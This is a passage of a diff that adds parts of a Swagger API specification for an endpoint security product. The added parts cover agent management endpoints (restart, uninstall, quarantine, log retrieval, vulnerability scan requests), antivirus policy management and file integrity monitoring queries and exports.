+      operationId: data_endpoint_Agent_qfes
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/AgentWindowsQfe'
+            type: array
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - agent
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/endpoint/Agent/{id}/quarantine/history/:
+    get:
+      description: ""
+      operationId: data_endpoint_Agent_quarantine_quarantine_history
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/QuarantineActionHistory'
+            type: array
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - agent
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/endpoint/Agent/{id}/refresh_host_properties/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_Agent_refresh_host_properties
+      parameters: []
+      responses:
+        "200":
+          description: Success
+          examples:
+            application/json:
+              status: Sent host properties refresh request to agent
+        "400":
+          description: Failure
+          examples:
+            application/json:
+              status: Redis agent data not found
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - agent
+  /data/endpoint/Agent/{id}/refresh_quarantine/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_Agent_refresh_quarantine
+      parameters: []
+      responses:
+        "200":
+          description: Success
+          examples:
+            application/json:
+              status: Sent quarantine refresh request to agent
+        "400":
+          description: Failure
+          examples:
+            application/json:
+              status: Redis agent data not found
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - agent
+  /data/endpoint/Agent/{id}/request_send_telemetry/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_Agent_request_send_telemetry
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+        "501":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/Agent/{id}/request_vulnscan/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_Agent_request_vulnscan
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AgentDetail'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "403":
+          description: Feature not enabled on this stack
+          examples:
+            application/json:
+              error: Feature not enabled on this stack
+          schema:
+            properties:
+              error:
+                type: string
+            required:
+              - error
+            type: object
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - agent
+  /data/endpoint/Agent/{id}/restart/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_Agent_restart
+      parameters: []
+      responses:
+        "200":
+          description: Success
+          examples:
+            application/json:
+              status: restart requested
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+        "501":
+          description: Incompatible Agent
+          examples:
+            application/json:
+              status: cannot restart python agent
+      tags:
+        - agent
+  /data/endpoint/Agent/{id}/restart_endpoint/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_Agent_restart_endpoint
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+        "501":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/Agent/{id}/retrieve_logs/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_Agent_retrieve_logs
+      parameters: []
+      responses:
+        "200":
+          description: Success
+          examples:
+            application/json:
+              status: Sent request to retrieve saved logs to agent
+        "400":
+          description: Failure
+          examples:
+            application/json:
+              status: Redis agent data not found
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - agent
+  /data/endpoint/Agent/{id}/self_upgrade_logs/:
+    get:
+      description: ""
+      operationId: data_endpoint_Agent_self_upgrade_log
+      parameters:
+        - description: |-
+            Which file to operate on:
+             * 0: self-upgrade.log
+             * 1: setupapi.app.log
+          enum:
+            - 0
+            - 1
+          in: query
+          name: file_kind
+          required: true
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentLogFile'
+        "400":
+          description: Failure
+          examples:
+            application/json:
+              status: 'Invalid log file kind `123`, expected one of: 0, 1'
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      summary: Get the requested file's contents and metadata.
+      tags:
+        - agent
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/endpoint/Agent/{id}/self_upgrade_logs/data/:
+    get:
+      description: ""
+      operationId: data_endpoint_Agent_self_upgrade_log_data
+      parameters:
+        - description: |-
+            Which file to operate on:
+             * 0: self-upgrade.log
+             * 1: setupapi.app.log
+          enum:
+            - 0
+            - 1
+          in: query
+          name: file_kind
+          required: true
+          type: integer
+      responses:
+        "200":
+          description: Success
+          examples:
+            application/json: some log file contents
+        "400":
+          description: Failure
+          examples:
+            application/json:
+              status: 'Invalid log file kind `123`, expected one of: 0, 1'
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      summary: Get the requested file's content data only for download.
+      tags:
+        - agent
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/endpoint/Agent/{id}/self_upgrade_logs/remove/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: |
+        Sends a message to the agent given in the URL for it to remove its
+        self-upgrade log file. No file kind number is accepted in this
+        request: only `self-upgrade.log` is supported for removal.
+
+        This is an asynchronous operation with respect to the global agent
+        communication: the message is sent to the distribution queue and
+        this method then responds immediately with the status of that
+        operation. As a consequence, there is no way here to know whether
+        the actual deletion worked or not. Also, this will only work for
+        online agents: there is no retry to the message sending.
+      operationId: data_endpoint_Agent_self_upgrade_logs_remove
+      parameters: []
+      responses:
+        "200":
+          description: Success
+          examples:
+            application/json:
+              status: Sent request to remove self-upgrade logs to agent
+        "400":
+          description: Failure
+          examples:
+            application/json:
+              status: 'Unexpected request body or params: only one file kind supported here'
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      summary: Ask the agent to remove its self-upgrade logs.
+      tags:
+        - agent
+  /data/endpoint/Agent/{id}/self_upgrade_logs/retrieve/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: |
+        Sends a message to the agent given in the URL for it to upload a
+        self-upgrade log file identified by the kind number provided in
+        this request's body.
+
+        This is an asynchronous operation with respect to the global agent
+        communication: the message is sent to the distribution queue and
+        this method then responds immediately with the status of that
+        operation. As a consequence, the file's metadata and contents have
+        to be fetched separately. Also, this will only work for online
+        agents: there is no retry to the message sending.
+      operationId: data_endpoint_Agent_self_upgrade_logs_retrieve
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AgentLogFileQuery'
+      responses:
+        "200":
+          description: Success
+          examples:
+            application/json:
+              status: Sent request to retrieve self-upgrade log `0` to agent
+        "400":
+          description: Failure
+          examples:
+            application/json:
+              status: 'Invalid log file kind `123`, expected one of: 0, 1'
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      summary: Ask the agent to send a self-upgrade log of some kind.
+      tags:
+        - agent
+  /data/endpoint/Agent/{id}/stats_resource/:
+    get:
+      description: ""
+      operationId: data_endpoint_Agent_stats_resource
+      parameters:
+        - format: date-time
+          in: query
+          name: to
+          required: true
+          type: string
+        - format: date-time
+          in: query
+          name: from
+          required: true
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentDatasetsStat'
+        "400":
+          description: Missing or invalid from/to parameters
+          examples:
+            application/json:
+              from:
+                - Valid datetime format is %Y-%m-%dT%H:%M%z.
+      tags:
+        - agent
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/endpoint/Agent/{id}/uninstall/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_Agent_uninstall
+      parameters: []
+      responses:
+        "200":
+          description: Success
+          examples:
+            application/json:
+              status: uninstall requested
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - agent
+  /data/endpoint/Agent/{id}/update/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_Agent_request_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AgentVersion'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: Invalid target for agent
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - agent
+  /data/endpoint/Agent/{id}/update_additional_infos/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_Agent_update_additional_infos
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AgentAdditionalInfos'
+      responses:
+        "200":
+          description: Success
+          examples:
+            application/json:
+              status: Updated additional infos for the agent
+        "400":
+          description: Failure
+          examples:
+            application/json:
+              status: Redis agent data not found
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - agent
+  /data/endpoint/AntivirusPolicy/:
+    get:
+      description: ""
+      operationId: data_endpoint_AntivirusPolicy_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_update
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_modifier
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: origin_stack_id
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: antivirus_slug
+          required: false
+          type: string
+        - in: query
+          name: last_modifier.id
+          required: false
+          type: number
+        - in: query
+          name: last_modifier.username
+          required: false
+          type: string
+        - in: query
+          name: agent_count
+          required: false
+          type: number
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ListAntivirusPolicy'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - agent
+    parameters: []
+    post:
+      description: ""
+      operationId: data_endpoint_AntivirusPolicy_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/CreateAntivirusPolicy'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/CreateAntivirusPolicy'
+      tags:
+        - agent
+  /data/endpoint/AntivirusPolicy/delete/:
+    delete:
+      description: To delete multiple antivirus profiles.
+      operationId: data_endpoint_AntivirusPolicy_delete_list
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ProfileIdList'
+      responses:
+        "200":
+          description: Success
+          examples:
+            application/json:
+              status: profiles deleted
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/AntivirusPolicy/policy_names/:
+    get:
+      description: ""
+      operationId: data_endpoint_AntivirusPolicy_policy_names
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_update
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_modifier
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: origin_stack_id
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/_NamesAntivirusPolicy'
+            type: array
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/AntivirusPolicy/{id}/:
+    delete:
+      description: To delete one antivirus profile.
+      operationId: data_endpoint_AntivirusPolicy_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - agent
+    get:
+      description: ""
+      operationId: data_endpoint_AntivirusPolicy_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/RetrieveAntivirusPolicy'
+      tags:
+        - agent
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: To update one antivirus profile.
+      operationId: data_endpoint_AntivirusPolicy_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditAntivirusPolicy'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/RetrieveAntivirusPolicy'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+    put:
+      description: To update one antivirus profile.
+      operationId: data_endpoint_AntivirusPolicy_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditAntivirusPolicy'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/RetrieveAntivirusPolicy'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/FIM/FileModification/:
+    get:
+      description: ""
+      operationId: data_endpoint_FIM_FileModification_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: path
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: previous_entry_type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: previous_size
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: previous_hash
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: previous_last_modification_time
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: previous_uid
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: previous_gid
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: previous_access_mode
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: previous_last_change_time
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: current_entry_type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: current_size
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: current_hash
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: current_last_modification_time
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: current_uid
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: current_gid
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: current_access_mode
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: current_last_change_time
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: highest_criticality
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: status
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_scan_with_changes
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - format: uuid
+          in: query
+          name: report_id
+          required: true
+          type: string
+        - in: query
+          name: last_update
+          required: false
+          type: string
+        - in: query
+          name: last_modifier.id
+          required: false
+          type: number
+        - in: query
+          name: last_modifier.username
+          required: false
+          type: string
+        - in: query
+          name: agent.hostname
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ListFIMFileModification'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/FIM/FileModification/bulk_update/:
+    parameters: []
+    patch:
+      description: ""
+      operationId: data_endpoint_FIM_FileModification_bulk_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/BulkUpdateFIMFileModification'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: Invalid form
+          examples:
+            application/json:
+              field_name:
+                - error message
+                - other error message
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - agent
+  /data/endpoint/FIM/FileModification/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_endpoint_FIM_FileModification_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: path
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: previous_entry_type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: previous_size
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: previous_hash
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: previous_last_modification_time
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: previous_uid
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: previous_gid
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: previous_access_mode
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: previous_last_change_time
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: current_entry_type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: current_size
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: current_hash
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: current_last_modification_time
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: current_uid
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: current_gid
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: current_access_mode
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: current_last_change_time
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: highest_criticality
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: status
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_scan_with_changes
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/FIM/FileModification/stats/level/:
+    get:
+      description: ""
+      operationId: data_endpoint_FIM_FileModification_stats_stats_per_level
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: path
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: previous_entry_type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: previous_size
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: previous_hash
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: previous_last_modification_time
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: previous_uid
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: previous_gid
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: previous_access_mode
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: previous_last_change_time
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: current_entry_type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: current_size
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: current_hash
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: current_last_modification_time
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: current_uid
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: current_gid
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: current_access_mode
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: current_last_change_time
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: highest_criticality
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: status
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_scan_with_changes
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - format: uuid
+          in: query
+          name: report_id
+          required: true
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/FIMFileModificationPerLevelStatsResponse'
+            type: array
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/FIM/FileModification/stats/path/:
+    get:
+      description: ""
+      operationId: data_endpoint_FIM_FileModification_stats_stats_per_path
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: path
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: previous_entry_type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: previous_size
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: previous_hash
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: previous_last_modification_time
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: previous_uid
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: previous_gid
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: previous_access_mode
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: previous_last_change_time
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: current_entry_type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: current_size
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: current_hash
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: current_last_modification_time
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: current_uid
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: current_gid
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: current_access_mode
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: current_last_change_time
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: highest_criticality
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: status
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_scan_with_changes
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - format: uuid
+          in: query
+          name: report_id
+          required: true
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/FIMStatsResponse'
+            type: array
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/FIM/FileModification/stats/type/:
+    get:
+      description: ""
+      operationId: data_endpoint_FIM_FileModification_stats_stats_per_type
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: path
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: previous_entry_type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: previous_size
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: previous_hash
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: previous_last_modification_time
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: previous_uid
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: previous_gid
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: previous_access_mode
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: previous_last_change_time
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: current_entry_type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: current_size
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: current_hash
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: current_last_modification_time
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: current_uid
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: current_gid
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: current_access_mode
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: current_last_change_time
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: highest_criticality
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: status
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_scan_with_changes
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - format: uuid
+          in: query
+          name: report_id
+          required: true
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/FIMFileModificationPerTypeStatsResponse'
+            type: array
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/FIM/FileModification/{id}/:
+    get:
+      description: ""
+      operationId: data_endpoint_FIM_FileModification_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DetailFIMFileModification'
+      tags:
+        - agent
+    parameters:
+      - description: A UUID string identifying this fim file modification.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_endpoint_FIM_FileModification_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UpdateFIMFileModification'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/UpdateFIMFileModification'
+      tags:
+        - agent
+    put:
+      description: ""
+      operationId: data_endpoint_FIM_FileModification_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UpdateFIMFileModification'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/UpdateFIMFileModification'
+      tags:
+        - agent
+  /data/endpoint/FIM/FileModificationByAgent/:
+    get:
+      description: ""
+      operationId: data_endpoint_FIM_FileModificationByAgent_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_update
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_modifier
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: report
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: low_level_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: medium_level_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: high_level_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: critical_level_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: highest_criticality
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_modification_date
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          minLength: 1
+          name: report_id
+          required: true
+          type: string
+        - in: query
+          name: modifications_count
+          required: false
+          type: number
+        - in: query
+          name: modifications_accepted_count
+          required: false
+          type: number
+        - in: query
+          name: modifications_rejected_count
+          required: false
+          type: number
+        - in: query
